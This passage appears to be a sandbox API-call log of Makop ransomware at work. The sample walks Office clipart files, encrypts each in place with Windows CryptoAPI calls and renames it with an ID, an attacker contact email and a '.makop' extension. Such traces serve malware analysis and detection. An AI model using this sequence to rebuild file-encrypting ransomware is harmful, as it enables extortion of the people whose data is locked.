RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.536] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.536] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.537] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.537] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.537] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.537] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.537] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.537] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.538] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.538] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.538] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.538] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x20ae, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x20ae, lpOverlapped=0x0) returned 1 [0109.540] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x20b0, dwBufLen=0x20b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x20b0) returned 1 [0109.540] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.540] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x20b0, lpOverlapped=0x0) returned 1 [0109.540] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.540] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2184, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.541] SetEndOfFile (hFile=0xf0) returned 1 [0109.548] GetProcessHeap () returned 0x48a0000 [0109.548] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.548] GetProcessHeap () returned 0x48a0000 [0109.548] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.548] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.548] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.549] CloseHandle (hObject=0xf0) returned 1 [0109.550] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f738600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f738600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x1370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00184_.WMF", cAlternateFileName="")) returned 1 [0109.550] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0109.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.551] GetProcessHeap () returned 0x48a0000 [0109.551] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.551] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.551] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.551] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.551] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.551] GetProcessHeap () returned 0x48a0000 [0109.551] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.552] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.552] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.552] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.628] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.628] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.629] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.629] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.629] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.629] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.629] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.629] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.630] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1370, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1370, lpOverlapped=0x0) returned 1 [0109.631] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1370, dwBufLen=0x1370 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1370) returned 1 [0109.631] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.631] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1370, lpOverlapped=0x0) returned 1 [0109.632] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.632] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.632] SetEndOfFile (hFile=0xf0) returned 1 [0109.639] GetProcessHeap () returned 0x48a0000 [0109.639] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.639] GetProcessHeap () returned 0x48a0000 [0109.639] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.639] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.639] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.641] CloseHandle (hObject=0xf0) returned 1 [0109.641] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c60b600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c60b600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x31f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00186_.WMF", cAlternateFileName="")) returned 1 [0109.641] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0109.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.643] GetProcessHeap () returned 0x48a0000 [0109.643] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.643] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.643] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.644] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0109.648] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.648] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.648] GetProcessHeap () returned 0x48a0000 [0109.648] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.648] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.648] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.648] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.649] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.649] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.649] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.650] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.650] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.650] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.650] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.650] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.650] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x31f4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x31f4, lpOverlapped=0x0) returned 1 [0109.652] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3200, dwBufLen=0x3200 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3200) returned 1 [0109.652] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.652] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3200, lpOverlapped=0x0) returned 1 [0109.653] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.653] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x32d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.653] SetEndOfFile (hFile=0xf0) returned 1 [0109.660] GetProcessHeap () returned 0x48a0000 [0109.661] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.661] GetProcessHeap () returned 0x48a0000 [0109.661] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.661] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.661] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.662] CloseHandle (hObject=0xf0) returned 1 [0109.662] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9efd600, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9efd600, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0xc20, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00200_.WMF", cAlternateFileName="")) returned 1 [0109.662] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0109.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.663] GetProcessHeap () returned 0x48a0000 [0109.663] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.663] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.663] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.664] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.664] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.664] GetProcessHeap () returned 0x48a0000 [0109.664] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.664] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.664] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.664] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.678] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.678] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.678] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.678] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.678] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.679] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.679] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.679] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.679] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc20, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xc20, lpOverlapped=0x0) returned 1 [0109.679] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc20, dwBufLen=0xc20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc20) returned 1 [0109.679] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.679] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xc20, lpOverlapped=0x0) returned 1 [0109.679] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.679] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xcf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.680] SetEndOfFile (hFile=0xf0) returned 1 [0109.688] GetProcessHeap () returned 0x48a0000 [0109.688] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.688] GetProcessHeap () returned 0x48a0000 [0109.688] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.688] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.688] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.690] CloseHandle (hObject=0xf0) returned 1 [0109.690] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54fadc00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54fadc00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00224_.WMF", cAlternateFileName="")) returned 1 [0109.690] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0109.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.691] GetProcessHeap () returned 0x48a0000 [0109.691] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.691] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.691] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.691] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0109.697] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, 